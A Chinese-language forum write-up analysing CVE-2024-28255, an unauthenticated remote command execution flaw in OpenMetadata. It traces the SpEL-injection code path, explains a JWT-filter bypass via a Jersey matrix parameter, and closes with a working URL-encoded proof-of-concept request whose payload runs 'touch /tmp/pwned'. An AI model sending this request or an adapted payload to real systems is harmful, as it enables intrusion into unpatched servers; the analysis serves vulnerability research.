问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2024-28255 OpenMetadata远程命令执行漏洞
漏洞分析
OpenMetadata远程命令执行漏洞(CVE-2024-28255)
### 一、漏洞简介 OpenMetadata是一个统一的发现、可观察和治理平台,由中央元数据存储库、深入的沿袭和无缝团队协作提供支持,存在命令执行漏洞。 ### 二、影响版本 OpenMetaData < 1.2.4 ### 三、环境搭建 本次测试环境为1.2.3,下载[docker-compose.yml](https://github.com/open-metadata/OpenMetadata/releases/download/1.2.3-release/docker-compose.yml),使用命令:docker-compose up -d 启动环境,启动后访问 \[<http://localhost:8585>,默认的账号密码为 `admin/admin`。 ![image-20240803152908101.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-102a20a945f2c502dd2e80944dc5c93ec5597999.png) ### 四、漏洞分析 搜索路由,定位在EventSubscriptionResource.java ,代码如下,接受参数expression,并调用AlertUtil.validateExpression方法处理该参数。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-afafd68701c1a0b319cb21be83fee8c2b122d537.png) 跟进AlertUtil.validateExpression方法:调用CompiledRule.parseExpression方法处理传入的参数 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-013955b33073def81036ca08855b2e4d648bff89.png) 跟进CompiledRule.parseExpression方法:调用EXPRESSION\_PARSER.parseExpression处理, ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-43460c1c1275ee60cc87472487f170b800449fd7.png) 而EXPRESSION\_PARSER初始化为SpelExpressionParser ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-10e4772d41571acdbb38343bed6e3629a5159a20.png) 继续跟进parseExpression方法,因为传入的context为null,所以进入else语句,调用doParseExpression方法 ![image-20240806180443364.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-3148e83e84c89418a7c1de78ddc6c4e09fea4112.png) 跟进来到InternalSpelExpressionParser#doParseExpression方法解析表达式然后判断t是否为空来悬着是否进入if语句,t的判断为下面的逻辑,当 tokenStreamPointer 大于或等于 tokenStream 时返回null。 ![image-20240806194916330.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-be6c7cfa65c506099c6b01e487a4a2c0ea63af6b.png) 回到doParseExpression方法,调用Tokenizer#process,遍历表达式,统计非字母和字母(首次出现到下一个非字母之前算一次)出现的次数,然后赋值给tokenStreamLength。 ![image-20240806200450182.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-d2ea1993e9814900ea868c12814338bf7c2085c2.png) 继续跟进,发现在eatPossiblyQualifiedId方法中循环调用nextToken自增tokenStreamPointer,最终tokenStreamPointer长度和tokenStreamLength相等 ![image-20240806201726137.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-69d585e22b5b47af4a8cc55abb511575126c3ac5.png) 所以进入else语句,然后返回一个SpelExpression对象。 ![image-20240806185539609.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-775ed1df4787ec70ded3d8f46928b916756edda2.png) 将传入的表达式赋值给expression,赋值ast和configuration ![image-20240806190234589.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-c83316b0dd8b1fb99e2b5d24535ace56421474f9.png) 然后调用SpelExpression#getValue方法,因为compiledAst初始化为空,所以不会进入if语句,进入getValue方法 ![image-20240806190635871.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-d703b339d15dca197a1cafd62a4255dd068c4fc1.png) 通过SpelNodeImpl#getValue()调用CompoundExpression#getValueInternal()处理,首先通过getValueRef获取ref,再调用ref.getValue计算最后的结果。 ![image-20240806191744165.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-446fd758e706cd73c2d00bfc74309ec7e5812701.png) 跟进getValueRef(),循环计算除前n-1个node的结果,然后调用MethodReference#getValueRef(state)获取最终的ref。 ![image-20240806192047864.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-029a94463bb4b4a1e3c48f65690171b883f6e040.png) 然后调用MethodReference#getValue-->MethodReference#getValueInternal-->ReflectiveMethodExecutor#execute,ReflectiveMethodExecutor#execute()通过反射执行方法调用method.invoke。 ![image-20240806193011291.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-8da990a8c512ea54f374ee0b2eefa3f8dd7725b3.png) 到这里了能执行命令了,但是这个接口是后台的,需要鉴权绕过,在 OpenMetadata 使用 JwtFilter.java 对 JWT 进行验证,查看其filter,通过uriInfo.getPath获取请求路径,判断是否在 EXCLUDED\_ENDPOINTS 集合中,如果在无需登录即可访问 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-e3cc7fde1013f66a48e74c1959df5033ba3232cc.png) 查看EXCLUDED\_ENDPOINTS 如下,这里的中间件是Jersey,用''/" 是无效的。[但是类似";"矩阵参数会进行处理](https://forum.butian.net/share/2569),所以可以通过/api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/绕过鉴权,也就实现前台命令执行了 v1/system/config v1/users/signup v1/system/version v1/users/registrationConfirmation v1/users/resendRegistrationToken v1/users/generatePasswordResetLink v1/users/password/reset v1/users/checkEmailInUse v1/users/loginv1/users/refresh 全局搜一下validateExpression,其他接口也存在漏洞 ![image-20240803152710186.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-3dddfa3cf9daca4c248b85c6b0a89f7f2adeb010.png) ### 五、漏洞复现 poc GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29 HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 ![image-20240803152145054.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-4a5cdb6a9c67f0ae13d8ec777fac67df396b1f18.png) dnslog平台 ![image-20240803152425882.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-65e687b2208f2af9d5e89c96e0dfb15bf0e9d52a.png)
发表于 2024-08-20 09:54:57
阅读 ( 2860 )
分类:
CMS
0 推荐
收藏
0 条评论
请先
登录
后评论
买橘子
3 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!